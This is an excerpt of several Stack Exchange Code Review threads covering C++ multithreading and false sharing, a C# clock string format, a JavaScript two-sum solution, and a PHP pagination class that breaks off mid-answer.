std::chrono::duration_cast&lt;std::chrono::seconds&gt;(elapsed).count(); std::cout &lt;&lt; "Time in seconds: " &lt;&lt; seconds &lt;&lt; std::endl; } void MultiThread_Merge(int index) { for (unsigned long long x = parts[index].first; x &lt;= parts[index].second; ++x) { // Count the even number if ((x % 2) == 0) ++MyCounters[index].CountEven; // Count divisible by 5 if ((x % 5) == 0) ++MyCounters[index].CountDivFive; // Count divisible by 8 if ((x % 8) == 0) ++MyCounters[index].CountDivEight; // Count divisible by 10 if ((x % 10) == 0) ++MyCounters[index].CountDivTen; } } void DoThreadUsingMerge() { // Start timer std::chrono::high_resolution_clock::time_point StartTime = std::chrono::high_resolution_clock::now(); // Create four Threads std::vector&lt;std::thread&gt; MyThreads(4); // Create Threads for (size_t i = 0; i &lt; MyThreads.size(); ++i) { MyThreads[i] = std::thread(MultiThread_Merge, i); } // Wait for all threads to finish. for (size_t i = 0; i &lt; MyThreads.size(); ++i) { MyThreads[i].join(); } // When threads are done, add up numbers. for (auto i : MyCounters) { // Add all the numbers. DivCounter.CountEven += i.CountEven; DivCounter.CountDivFive += i.CountDivFive; DivCounter.CountDivEight += i.CountDivEight; DivCounter.CountDivTen += i.CountDivTen; } // Stop timer and get time. auto elapsed = std::chrono::high_resolution_clock::now() - StartTime; auto seconds = std::chrono::duration_cast&lt;std::chrono::seconds&gt;(elapsed).count(); std::cout &lt;&lt; "Time in seconds: " &lt;&lt; seconds &lt;&lt; std::endl; } void DisplayCounters() { std::cout &lt;&lt; "Count divisible by 2: " &lt;&lt; DivCounter.CountEven &lt;&lt; std::endl; std::cout &lt;&lt; "Count divisible by 5: " &lt;&lt; DivCounter.CountDivFive &lt;&lt; std::endl; std::cout &lt;&lt; "Count divisible by 8: " &lt;&lt; DivCounter.CountDivEight &lt;&lt; std::endl; std::cout &lt;&lt; "Count divisible by 10: " &lt;&lt; DivCounter.CountDivTen &lt;&lt; std::endl; } int main() { std::cout &lt;&lt; "Calculation number: " &lt;&lt; CALC_NUMBER &lt;&lt; std::endl; std::cout &lt;&lt; "\n============================================\n"; std::cout &lt;&lt; "\nSingle-Threaded ..\n"; SingleThreaded(); DisplayCounters(); // Reset for multi-thread DivCounter.CountEven = 0; DivCounter.CountDivFive = 0; DivCounter.CountDivEight = 0; DivCounter.CountDivTen = 0; std::cout &lt;&lt; "\n============================================\n"; std::cout &lt;&lt; "\nMulti-Threaded (Merge) ..\n"; DoThreadUsingMerge(); DisplayCounters(); system("pause"); } </code></pre> <h2>Outputs:</h2> <p>Here's the output on 4 cores CPU, Windows 8.1 OS:</p> <blockquote> <p>Calculation number: 10000000000 </p> <p>============================================ </p> <p>Single-Threaded .. Time in seconds: 36<br> Count divisible by 2: 5000000000<br> Count divisible by 5: 2000000000<br> Count divisible by 8: 1250000000<br> Count divisible by 10: 1000000000 </p> <p>============================================ </p> <p>Multi-Threaded (Merge) .. Time in seconds: 42<br> Count divisible by 2: 5000000000<br> Count divisible by 5: 2000000000<br> Count divisible by 8: 1250000000<br> Count divisible by 10: 1000000000<br> Press any key to continue . . . </p> </blockquote> <p>Here's the output on 6 core CPU, Windows 10 OS:</p> <blockquote> <p>Calculation number: 10000000000 </p> <p>============================================ </p> <p>Single-Threaded .. Time in seconds: 32<br> Count divisible by 2: 5000000000<br> Count divisible by 5: 2000000000<br> Count divisible by 8: 1250000000<br> Count divisible by 10: 1000000000 </p> <p>============================================ </p> <p>Multi-Threaded (Merge) .. Time in seconds: 45<br> Count divisible by 2: 5000000000<br> Count divisible by 5: 2000000000<br> Count divisible by 8: 1250000000<br> Count divisible by 10: 1000000000<br> Press any key to continue . . . </p> </blockquote> <h2>Results:</h2> <p>The results show that no matter how many times and regardless of number of cores, multi-threaded code doesn't benefit from threads.</p> <h2>Questions:</h2> <p>What's the reason that this code isn't behaving as expected? Did I just stumble upon some code which doesn't or cannot benefit from multi-threading?</p> <h2>Notes:</h2> <p>I also tried to increase the calculation number by 10x, 20x 30x so on.. but I didn't see any better performance.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:10:28.053", "Id": "452177", "Score": "0", "body": "You know that multithreading adds some overhead, no?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:11:34.470", "Id": "452178", "Score": "0", "body": "In some cases I have seen the time was reduced by 50%." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:12:58.123", "Id": "452179", "Score": "2", "body": "Depends on more concrete context probably." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:18:35.247", "Id": "452180", "Score": "0", "body": "How can this simple problem won't benefit from using more CPU cores? Is it simpler the problem more the overhead?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T12:56:02.350", "Id": "452192", "Score": "1", "body": "Yes, the overhead is higher than the gain." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T13:08:28.917", "Id": "452194", "Score": "0", "body": "Even after increasing the computation number significantly to make it a 10 minutes task, threading still takes a lot of time. Where would you use threading then?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T14:19:49.577", "Id": "452196", "Score": "0", "body": "@cpx _\"Where would you use threading then?\"_ Whenever you cam split up CPU intensive workload to available cores." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T14:22:58.590", "Id": "452197", "Score": "0", "body": "Hm, but I thought I did exactly that i.e splitting up a lot of large calculations to many cores..?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T22:59:28.083", "Id": "452253", "Score": "1", "body": "I have a feeling codereview.SE is not actually the site you wanted to post this question on, as it seems you're mostly asking to gain understanding of why the code behaves this way. Maybe stackoverflow would be more fitting?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T01:12:52.607", "Id": "452269", "Score": "0", "body": "Well, you can only improve it if you know why it behaves that way." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:48:14.790", "Id": "452303", "Score": "0", "body": "One of the requirements for Code Review is you understand why you write it the way you did. If you have a specific problem, Stack Overflow is more suitable. However, they'll tell you the same thing we did: the overhead is higher than the gain. The task you have at hand is simply not suitable (not complex enough) to warrant multi-threading." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T08:51:41.460", "Id": "452304", "Score": "0", "body": "I'm voting to close this question as off-topic because the question asks why the improvement made doesn't work, instead of looking for an improvement. Hence this is not a request for review. The question is whether problem is unsuitable for multi-threading. The answer is yes. Explaining this would be a general lesson on how multi-threading works and why, not a review of the code provided. The code would be irrelevant to the lesson." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T19:21:52.880", "Id": "452570", "Score": "1", "body": "Keeping the memory synced is probably forcing all the threads onto the same CPU so you get no gain from multithreading. Split the memory up so the work and memory can be distributed." } ]
[ { "body": "<p>You should definitely see a huge improvement, by a factor of nearly N.<br>\nThe overhead that gets mentioned is in the microsecond range, and it is once per thread.</p>\n\n<p>I have a similar example, where the runtime goes down by factors of 2, 4, 8, depending on the number of threads I start (up to the number of cores I have, of course).</p>\n\n<p>I cannot tell you for sure why your example is not working; maybe the compiler was clever enough to run in multiple threads to begin with, or your executable does not get access to run more than one thread. Are you in a virtual machine maybe? Check <code>int N = std::thread::hardware_concurrency()</code> to see how many threads your program have access too.<br>\nI think your code is correct, and should work.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:38:44.037", "Id": "452201", "Score": "0", "body": "It's not a virtual machine. How would you roughly calculate the overhead for four threads? I see all four cores at 100% when I run it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:16:03.143", "Id": "452210", "Score": "1", "body": "I wouldn't know. But I see negligible overhead in my testing, less than a millisecond per thread (it's within the rounding error). I get 140.xxx seconds run-time with 1 thread, 35.xxx seconds with four threads, and the digits behind the comma are different every run. if I use 16 threads, I get 35.xxx too; if I use 128 threads, I get 35.xxx too. Your problem is not the overhead, it is either it runs both tests multithreaded, or it runs both times singlethreaded." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:16:34.197", "Id": "452211", "Score": "1", "body": "Try with commenting out three of the four divisions you do (so count only dividible by 2), so the compiler doesn't have an easy way to multithread on his own" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:18:13.067", "Id": "452214", "Score": "1", "body": "Are you running it inside the development environment? (try standalone exe) What rights has the user you run with? (try with Admin account)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:31:50.690", "Id": "452215", "Score": "0", "body": "The hardware concurrency value is `4`. I tried it running outside the IDE environment with admin rights. The result with single thread was `35` and `40` with multithreading. With only even number calculation it's `11` on single thread and `8` on multi-threading so it improves by about 30%." } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:26:52.150", "Id": "231778", "ParentId": "231773", "Score": "0" } }, { "body": "<p>[I am writing this a separate answer as I have tested it now.]</p>\n\n<p>I compiled your code and run the same test, with the same result. After some trying around, the problem seems to be that <em>the four threads all access the same counting vector</em> of struct (<code>std::vector&lt;Counters&gt; MyCounters(4);</code>).<br>\nI replaced the counter with a simple variable (<code>unsigned long long int My1Counter;</code>), and I get now a factor of 3.8 improvement for the multi-threaded run (this is still inside the dev environment, and the remaining .2 is probably the dev env eating a bit).</p>\n\n<p>My guess is that <em>the vector class is 'thread-safe'</em>, and therefore locks each time you access it from one of the threads, so the other three have to wait.<br>\nYou can try a simple C-array to verify that, as it would not be implicitly thread-safe</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T17:50:43.773", "Id": "452220", "Score": "0", "body": "As far as I knew, `std::vector` class wasn't thread safe. I'd like to verify that if they changed in C++17. So, I created C-style arrays instead of vectors and this time I got `36` with single thread and `34` with multi-thread function. I ran it outside the developer environment as well." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T18:02:41.313", "Id": "452222", "Score": "0", "body": "I just confirmed there's nothing thread safe about a `std::vector` unless you use a `std::mutex`, Are you running the same compiler as mine on Windows?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T18:58:47.843", "Id": "452232", "Score": "0", "body": "I have Windows 10, MS Visual Studio 2019 Community Edition, 16.3.7; C++ language standard is set to 'ISO C++17 Standard'; optimization is /O2. Try with the given My1Counter, that will of course ruin the count results, but you'll see that it works with a factor of N. I'm not really a SME for multi-threading; I learned it last week, and it worked for me." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:54:53.927", "Id": "231785", "ParentId": "231773", "Score": "1" } }, { "body": "<p>I do not have access to a Windows machine, but changing <code>std::vector&lt;Counters&gt; MyCounters(4)</code> to <code>Counters MyCounters[4]</code> doubles the performance of the code (my CPU is dual core), both when compiled with G++ and with Clang++.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T19:07:37.300", "Id": "231792", "ParentId": "231773", "Score": "0" } }, { "body": "<h1>False sharing</h1>\n<p><code>struct Counters</code> is smaller than a cache line. For a read-only data structure that would be fine, a &quot;clean&quot; copy of the data can be in the Shared state in a cache so it wouldn't matter if two or more cores wanted to have the same data. But here it's being used for many read/write/modify operations, and multiple cores are trying to jump on the same cache line - not the same data exactly, so it's not true sharing, the data is logically independent but since it's located in the same cache line, from the point of view of the hardware there is sharing: false sharing.</p>\n<p>Padding out <code>Counters</code> to 64 bytes works .. to some extent. At least it will start to scale properly with thread count, but the code is still slow enough that I needed 4 threads before it overtook the single-threaded version.</p>\n<h1>Accidental pessimisation of the inner loop</h1>\n<p>From the point of view of the compiler, there are writes to (and reads from) shared memory. Maybe they are necessary, how would it know they're not? But we humans, with our whole-program reasoning skills, know most of them aren't necessary because the main thread waits for the workers to complete and then the results are collected, the partial counts are not observed along the way, so we can do this:</p>\n<pre><code>void MultiThread_Merge(int index)\n{\n Counters local;\n for (unsigned long long x = parts[index].first; x &lt;= parts[index].second; ++x)\n {\n // Count the even number\n if ((x % 2) == 0)\n ++local.CountEven;\n\n // Count divisible by 5\n if ((x % 5) == 0)\n ++local.CountDivFive;\n\n // Count divisible by 8\n if ((x % 8) == 0)\n ++local.CountDivEight;\n\n // Count divisible by 10\n if ((x % 10) == 0)\n ++local.CountDivTen;\n }\n\n MyCounters[index] = local;\n}\n</code></pre>\n<p>And now it's fast.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T23:20:08.077", "Id": "452257", "Score": "0", "body": "\"And now it's fast\" - except it's still \\$\\mathcal{O}(n)\\$ when it could be \\$\\mathcal{O}(1)\\$ by simply using division (and thus not needing the multithreading overhead)..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T23:21:08.393", "Id": "452258", "Score": "0", "body": "@hoffmale that's not the point of this question and you know it" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T23:32:47.580", "Id": "452259", "Score": "0", "body": "If that isn't the point of the question, I strongly feel like this question doesn't belong on this site." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T23:40:49.747", "Id": "452261", "Score": "0", "body": "@hoffmale then vote to close. By the way the program prints only constants (apart from the time) so no divisions would be necessary either, if you wanted to \"optimally miss the point\" you might as well hardcode the answer straight into the code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T05:28:35.283", "Id": "452282", "Score": "0", "body": "@harold This has finally reduced the time by over 50%. Are you saying that its possible further optimize the code and reduce time by removing divisions?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:34:41.770", "Id": "452336", "Score": "0", "body": "@cpx technically you can remove all the code and just print the results, because you already know them. Eg `std::cout << \"Count divisible by 2: 5000000000\\n\"` and so on. Obviously it would not be a multithreading experiment anymore." } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T19:34:43.613", "Id": "231796", "ParentId": "231773", "Score": "4" } } ]
{ "AcceptedAnswerId": "231796", "CommentCount": "13", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:09:11.807", "Id": "231773", "Score": "3", "Tags": [ "c++", "performance", "multithreading", "windows" ], "Title": "Multi-threading slower than expected from single-thread loop" }
231773
<p>I am building a digital clock in C# after watching a tutorial. The code in the tutorial I need help understanding looks like this:</p> <pre><code>if (hh &lt; 10) { time += "0" + hh; } else { time += hh; } time += ":"; </code></pre> <p>Can anyone explain to me why hh &lt; 10? Should it not be at least 12?</p> <p>My end game is to make a timer that starts at 9am and stops at 5pm. Ongoing applications under development. Looking at time money management.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:36:14.273", "Id": "452184", "Score": "0", "body": "ps, \"time\" is a string, hh is an int representing the DateTime function." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:44:34.580", "Id": "452186", "Score": "0", "body": "The purpose of that code snippet seems to prefix a `'0'` character for any hour lower than `10` for representation. Nothing to do with the 12 hour clock cycle." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T12:22:31.470", "Id": "452189", "Score": "0", "body": "Mmm, that explains why the clock always displays the time in a 12-hour cycle. Do you have any idea how to pull a DateTime int value in an if statement?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T12:34:04.463", "Id": "452190", "Score": "3", "body": "If this isn't your code, then I'm afraid this is off-topic. It's also off-topic, because we can't help with explaining how code works: we only review concrete, working code, which the OP already understands. See the [help center](https://codereview.stackexchange.com/help/dont-ask) for more information." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T12:44:43.603", "Id": "452191", "Score": "1", "body": "Never mind. I fixed the solution using two different int values for time then comparing these with an if statement." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T14:08:37.947", "Id": "452195", "Score": "2", "body": "@SamuelJosling Please delete your question, it's blatantly _off-topic_ here." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T15:36:09.357", "Id": "452200", "Score": "0", "body": "Can people please stop upvoting that clearly _off-topic_ questiion. You go in the way of moderation and curation of this site." } ]
[ { "body": "<p>Welcome to Codereview. <br>As I can see you are having troubles understanding the line that adds a <code>\"0\"</code> in front of <code>hh</code>. Let's say <code>hh</code> is <code>9</code>. Then, as <code>9</code> <strong>is smaller than 10</strong>, <code>time</code> will be <code>\"09\"</code>, <strong>if hh is <code>\"10\"</code>, or greater, it won't add that <code>\"0\"</code> at the beginning</strong>.<br> After that (<code>time += \":\"</code>), the program will add a <code>\":\"</code> which would represent the hours in the clock and a <code>\":\"</code> character afterwards, like <code>\"10:\"</code> or <code>\"09:\"</code>. <br>So, When it adds the minutes, the algorithm will use a similar <code>if</code> statement, like this:</p>\n\n<pre><code>if (hh &lt; 10) {\n time += \"0\" + hh;\n}\nelse {\n time += hh;\n}\ntime += \":\";\nif (mm &lt; 10) {\n time += \"0\" + mm;\n}\nelse {\n time += mm;\n}\n</code></pre>\n\n<p>at the end the <code>time</code> that will be shown, will look something like <code>\"09:09\"</code>, and such.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:00:12.670", "Id": "231781", "ParentId": "231774", "Score": "3" } } ]
{ "AcceptedAnswerId": "231781", "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T11:34:07.660", "Id": "231774", "Score": "0", "Tags": [ "c#" ], "Title": "Clarification on \"if\" statement - Digital Clock Tutorial C#" }
231774
<p>Can someone help me in optimizing the code here? </p> <p>This is the original question </p> <blockquote> <p>Given an array of integers, return indices of the two numbers such that they add up to a specific target.</p> <p>You may assume that each input would have exactly one solution, and you may not use the same element twice.</p> </blockquote> <p>Question link: <a href="https://leetcode.com/problems/two-sum/" rel="noreferrer">https://leetcode.com/problems/two-sum/</a></p> <pre><code>/** * @param {number[]} nums * @param {number} target * @return {number[]} */ var twoSum = function(nums, target) { const hashMapArray = {} for (let i=0; i&lt;nums.length; i++) { const num = nums[i] for (let index in hashMapArray) { if (hashMapArray[index] + num === target) { return [index, i] } } hashMapArray[i] = num } return [] } </code></pre> <p>Frankly, I was expecting my code to be optimized but then this what I got as a result and I was kinda heartbroken </p> <p><strong>How can I make it better?</strong></p> <p>Results: <a href="https://i.stack.imgur.com/QB6M6.png" rel="noreferrer"><img src="https://i.stack.imgur.com/QB6M6.png" alt="enter image description here"></a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T16:07:03.157", "Id": "452208", "Score": "5", "body": "For those voting to close based on LCC, while there isn't a lot here, this is all the code the poster had to write, the rest is supplied by the programming challenge itself." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T18:15:30.607", "Id": "452223", "Score": "2", "body": "For downvoters, working code that does not peform within time limits is valid for CodeReview and should not be downvoted or closed." } ]
[ { "body": "<p>I can not work out why you are iterating the mapped values. The point of mapping the values is so you do not need to search them. </p>\n\n<p>Rather than use an object to map the values you can also use a <code>Map</code>, though there is not much of a performance gain.</p>\n\n<p>The following at most will only iterate each item once and thus save you a significant amount of CPU time.</p>\n\n<pre><code>function twoSum(nums, target) {\n const map = new Map(), len = nums.length;\n var i = 0;\n while (i &lt; len) {\n const num = nums[i], val = target - num;\n if (map.has(val)) { return [i, map.get(val)] }\n map.set(num, i);\n i++;\n }\n return [];\n}\n</code></pre>\n\n<p>To save memory you can use the following. It will be slower than the above function however it will still be a lot faster than your function as the inner loop only search from the outer loops current position.</p>\n\n<pre><code>function twoSum(nums, target) {\n const len = nums.length;\n var i = 0, j;\n while (i &lt; len) {\n const val = target - nums[i];\n j = i + 1;\n while (j &lt; len) {\n if (nums[j] === val) { return [i, j] }\n j++;\n }\n i++;\n }\n return [];\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T11:24:59.253", "Id": "452322", "Score": "1", "body": "Hey, Thanks for such an amazing answer. I am just about trying to comprehend your code but before that I gave it a spin and your code failed on submit. For this input `[3,2,4], 6` the expected output is `[1,2]` but yours output was `[0,0]`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T11:59:32.380", "Id": "452326", "Score": "0", "body": "@Blindman67, like I also answered to @pacmaninbw, @iRohitBhatia is right, both your solutions fail that test. \n\nAnd the 2nd solution does have a runtime error on line 5 where it's `num[i]` should be `nums[i]`. I tried to edit and fix it, but StackOverflow does not allows me to submit it since it says I have to change at least 6 characters when I only need to add one!?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:03:01.770", "Id": "452327", "Score": "0", "body": "@iRohitBhatia Your question was not clear `3 + 3 = 6` as does `2 + 4` so technically `[0,0]` is correct however it is a simple change to avoid the same index. I will change the code now." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:05:42.523", "Id": "452328", "Score": "0", "body": "@Blindman67 I did add a \";\" and some more spaces and new lines, since I can only submit edited code with at least 6 characters changed. So I took the opportunity to make it a bit easier to read, IMHO." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:07:32.877", "Id": "452330", "Score": "0", "body": "Haha. Ricardo, Just came here to fix it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:10:36.323", "Id": "452331", "Score": "0", "body": "@Blindman67 I just copy pasted the question also, in your second algo it should be `const val = target - nums[i]` instead of `const val = target - num[i]` since you haven't declared num. Thanks a lot for answering :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:12:52.423", "Id": "452332", "Score": "1", "body": "@iRohitBhatia yeah, I wanted to help fixing it. It seems Blindman67 did not accept my changes but I think he will fix it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:14:28.567", "Id": "452333", "Score": "1", "body": "Thanks Ricardo, Appreciate you answering and then helping out in the comment section :)" } ], "meta_data": { "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T13:46:09.840", "Id": "231776", "ParentId": "231775", "Score": "6" } }, { "body": "<p>@iRohitBhatia your original solution creates an hash map without needing it and repeats the \"sum\" operation in the 2nd iteration also without need. </p>\n\n<p>Here you have the Swift version I did code to solve it initially:</p>\n\n<pre><code>func twoSum(_ nums: [Int], _ target: Int) -&gt; [Int] {\n for i in 0..&lt;(nums.count-1) {\n let matchValue = target - nums[i]\n\n for j in (i+1)..&lt;nums.count {\n if nums[j] == matchValue {\n return [i, j]\n }\n }\n }\n\n return []\n}\n</code></pre>\n\n<p>which I then translated to this JavaScript code:</p>\n\n<pre><code>var twoSum = function(nums, target) {\n for (let i = 0; i &lt; (nums.length - 1); i++) {\n let matchValue = target - nums[i];\n\n for (let j = i+1; j &lt; nums.length; j++) {\n if (nums[j] == matchValue) {\n return [i, j];\n }\n }\n }\n\n return [];\n};\n</code></pre>\n\n<p>and after submitting it on LeetCode I got the following results:</p>\n\n<p><a href=\"https://i.stack.imgur.com/0QYe6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0QYe6.png\" alt=\"enter image description here\"></a></p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T04:00:44.563", "Id": "452278", "Score": "2", "body": "Can you explain why your solution is better than the original. Code review is primarily about improving the askers code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:44:48.673", "Id": "452312", "Score": "0", "body": "@Ricardo Thanks, I thought swift would be like alien to me but luckily I can make sense out of it. Yeah" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T11:53:09.673", "Id": "452323", "Score": "0", "body": "@pacmaninbw, I'm sorry you're right, I solved it without taking the provided solutions above. Answering to you, the @iRohitBhatia solution creates an hash map without needing it and repeats the \"sum\" operation in the 2nd iteration without need.\n\nRegarding @Blindman67 solutions, none of them are passing the LeetCode tests, the last one even have a runtime error on line 5 where it's `num[i]` should be `nums[i]`. And even fixing it, both solutions fail to pass a test with `[3,2,4]` and `6` (target) inputs, where the expected solution is `[1,2]` and we get `[0,0]`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T13:34:57.753", "Id": "452349", "Score": "1", "body": "Please use the [edit] functionality to update your post and include details. Also note that referring to issues in other answers in your answer is discouraged. Instead use the comments under the answer you refer to for discussion about the answer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:37:23.420", "Id": "452367", "Score": "0", "body": "@Vogel612 I did add some detail about the original solution. Thanks for the tips about commenting other solutions, makes sense and I'll take them in account for future comments." } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T01:22:27.017", "Id": "231803", "ParentId": "231775", "Score": "0" } } ]
{ "AcceptedAnswerId": "231776", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-03T12:34:04.860", "Id": "231775", "Score": "4", "Tags": [ "javascript", "performance", "programming-challenge", "time-limit-exceeded" ], "Title": "two-sum algorithm" }
231775
<p>i have a pagination library in php. i want to know:</p> <ul> <li>how can i make it more efficient when passing large arrays into the constructor</li> <li>how can i add db support</li> </ul> <p><strong>paginator.php</strong></p> <pre><code>public function __construct($options = []) { $this-&gt;items = $options['data']; $this-&gt;limit = $options['limit'] ?? 10; $this-&gt;currentPage = $options['currentPage'] ?? 1; //$this-&gt;urlPattern = $options['urlPattern']; $this-&gt;updateNumPages(); } public function paginate(int $page = 1): PaginatorInterface { if ($page &lt;= 0 || $this-&gt;limit &lt;= 0) { throw new \LogicException("Invalid parameters."); } $offset = ($page - 1) * $this-&gt;limit; $pagination = new DefaultPaginator(); $items = new Collection($this-&gt;items, $offset, $this-&gt;limit); if ($this-&gt;items instanceof \ArrayObject || is_array($this-&gt;items)) { $data = new ArrayData(); $data-&gt;fetchItems($items); } else { throw new \RuntimeException("Data type not supported for pagination."); } $pagination-&gt;setCurrentPageNumber($page); $pagination-&gt;setNumberOfPages((int) ceil($items-&gt;getCount() / $items-&gt;getLimit())); $pagination-&gt;setItems($items-&gt;getItems()); $pagination-&gt;setTotal($items-&gt;getCount()); $pagination-&gt;setTotalOnCurrentPage(count($items-&gt;getItems())); $pagination-&gt;setTotalPerPage($this-&gt;limit); return $pagination; } </code></pre> <p>my repository is here <a href="https://github.com/shorif2000/pagination" rel="nofollow noreferrer">https://github.com/shorif2000/pagination</a></p> <p>here is where i am slicing the array.</p> <pre><code>class ArrayData implements DataInterface { public function fetchItems(Collection &amp;$items): void { if (is_array($items-&gt;getCollection())) { $items-&gt;setItems(array_slice( $items-&gt;getCollection(), $items-&gt;getOffset(), $items-&gt;getLimit() )); $items-&gt;setCount(count($items-&gt;getCollection())); } elseif ($items-&gt;getCollection() instanceof ArrayObject) { $collection = $items-&gt;getCollection(); $items-&gt;setItems(new ArrayObject(array_slice( $collection-&gt;getArrayCopy(), $items-&gt;getOffset(), $items-&gt;getLimit() ))); $items-&gt;setCount($collection-&gt;count()); } } } </code></pre> <p>UPDATE</p> <p>I created this class to add support for db or array/ArrayObject</p> <pre><code>class Pagination { public function __construct($options = [], $mode = 'Default') { eval('$this = Pagination::factory($options, $mode);'); } public static function &amp;factory($options, $mode) { $classname = ($mode == 'Default') ? 'Pagination\\Paginator' : 'Pagination\\DbPage' ; // If the class exists, return a new instance of it. if (class_exists($classname)) { $pagination = new $classname($options); return $pagination; } $null = null; return $null; } } </code></pre> <p>UPDATE</p> <p>with the answer to test i have the following</p> <pre><code>$pageNumber = 1; $itemsPerPage = 10; $input = range(0, 100); $input = array_slice($input, 0, 10); $total = count($input); print_r((new PaginatorFactory(new ArrayPageProvider($input)))-&gt;createPaginator($pageNumber, $itemsPerPage)); </code></pre>
[]
[ { "body": "<p>1) Simply don't pass large arrays, use some abstraction.</p>\n\n<p>2) Once you add the abstraction, you can provide db support.</p>\n\n<p>The following abstraction might show how to do it:</p>\n\n<p>EDIT: ok so i have added some more to point at the core of your problems:</p>\n\n<p>The paginator doesnt really need the setters to be part of its interface.</p>\n\n<p>Also see I use Iterator to represent the page items, instead of array. The array will only be used in specific implementation. You should avoid the array type in the abstraction.</p>\n\n<pre><code>interface PaginatorInterface\n{\n public function getItems();\n\n public function getCurrentPageNumber(): int;\n\n public function getNumberOfPages(): int;\n\n public function getTotal(): int;\n\n public function getTotalOnCurrentPage(): int;\n\n public function getTotalPerPage(): int;\n}\n</code></pre>\n\n<p>In fact, the class implementing that interface doesnt really need those setters too. It's actualy not even desired.</p>\n\n<p>Also the paginator can do simple computations. You dont have to precompute and assign static values which actualy opens space for corrupted state.</p>\n\n<pre><code>class Paginator implements PaginatorInterface\n{\n private $pageNumber;\n private $itemsPerPage;\n private $items;\n private $total;\n\n public function __construct(int $pageNumber, int $itemsPerPage, \\Iterator $pageItems, int $total)\n {\n\n if ($pageNumber &lt; 1) {\n throw new \\InvalidArgumentException();\n }\n if ($itemsPerPage &lt; 1) {\n throw new \\InvalidArgumentException();\n }\n $this-&gt;pageNumber = $pageNumber;\n $this-&gt;itemsPerPage = $itemsPerPage;\n $this-&gt;items = $pageItems;\n $this-&gt;total = $total;\n }\n\n public function getItems(): \\Iterator\n {\n return $this-&gt;items;\n }\n\n public function getCurrentPageNumber(): int\n {\n return 